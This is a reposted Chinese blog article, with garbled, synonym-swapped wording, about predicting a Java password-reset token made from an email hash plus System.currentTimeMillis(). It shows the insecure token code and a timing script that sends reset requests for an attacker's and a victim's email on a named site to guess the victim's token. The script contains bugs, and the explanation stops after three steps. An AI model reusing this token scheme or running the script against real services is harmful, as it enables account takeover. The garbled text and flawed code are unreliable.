操作系统时间可猜想破解java随机数[Java编程]
本文“操作系统时间可猜想破解java随机数[Java编程]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
择要:
这是一个随机函数破解的经典例子.在java程序中,获得随机数的做法有多种.但是我们实现一个随机token,并用于认证时,普通第一时间,想起来利用“System.currentTimeMillis”,本文会具体讲授一次破解随机数的经过.
正文:
“System.currentTimeMillis”这个办法,返回从UTC 1970年1月1日午夜开始经过的毫秒数.履行后果,大概是近似“1315395175327”这样的数字,因为背面的几位,是毫秒,所以履行后果就仿佛“随机”一样.
本日碰到的一个系统,相关业务逻辑场景,是用于找回密码.首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户利用token,履行改正密码的这一步.
1、输入邮箱.
2、发送邮件给用户邮箱.
3、按照邮箱中的链接,改正密码
就是说,只要能破解了服务器给用户生成的token,便可以直接改正用户密码.
在生成token时,采取了这样一段代码:
public String genToken(String email) { String token = email.hashCode() * 21 + System.currentTimeMillis() + ""; return token; }
从代码上可以看到,Email的hashcode,在用户的email固定的情形下,是不变的,那么这个不变的数字,即便乘以21,仍然是不变的.只要知道了用户的email,便可以知道这个数字.
真正随机的只有System.currentTimeMillis()
这个办法貌似随机,条件答应的情形下,其实是可以破解的.
操纵系统时间可猜测破解java随机数:
按照以上流程,只要攻击者提交
http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com
便可以给攻击者的邮箱,发一封EMAIL.
================
你好,空虚荡子心:
请点击链接重置密码.该链接24小时内有效.
或将以下链接拷贝到浏览器地址栏中:
http://www.inbreak.net/user/resetpassword.action?token=1315336352414
该邮件由系统自动发送,请勿直接答复此邮件.
==============
随后的那个token,就是随机生成的数字.同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email.假如服务器上的时间,和攻击者机械上履行的时间一致,在不考虑网络传输本钱的前提下,是可以直接得到token的.
当然,这不大概.
但是好在我们的时间速度,和服务器的时间速度,基本一致.注意,这里讲的不是时间一致,是时间的速度一致,大概本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必定已经12点了.
我们的时间,和服务器时间,老是会相差一个数字.
网络速度,每次传输都不一致,第一次发出恳求,大概用1.020秒,第二次,用0.921秒.
不要紧,我们尽大概让它变得可猜测些.
在本地,写这样一段代码:
=================
public static void main(String[] args) throws IOException { System.out.println(i + 1); i++; System.out.println("------mystart"); System.out.println("4700012@qq.com ".hashCode() * 21 + System.currentTimeMillis()); sendPost("http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com"); System.out.println("4700012@qq.com".hashCode() * 21 + System.currentTimeMillis()); System.out.println("------myend"); System.out.println("------user start"); Long x = "10000@qq.com".hashCode() * 21 + System.currentTimeMillis(); System.out.println(x); sendPost("http://www.inbreak.net/user/findpassword.action?email=10000@qq.com"); Long y = "10000@qq.com ".hashCode() * 21 + System.currentTimeMillis(); System.out.println(y); System.out.println(y - x); System.out.println("------user end"); }
=================
代码流程,利用文字描写:
1、 打印攻击者的开始时间.
2、 发邮件给攻击者.
3、 打印攻击者的完毕时间.
以上是“操作系统时间可猜想破解java随机数[Java编程]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |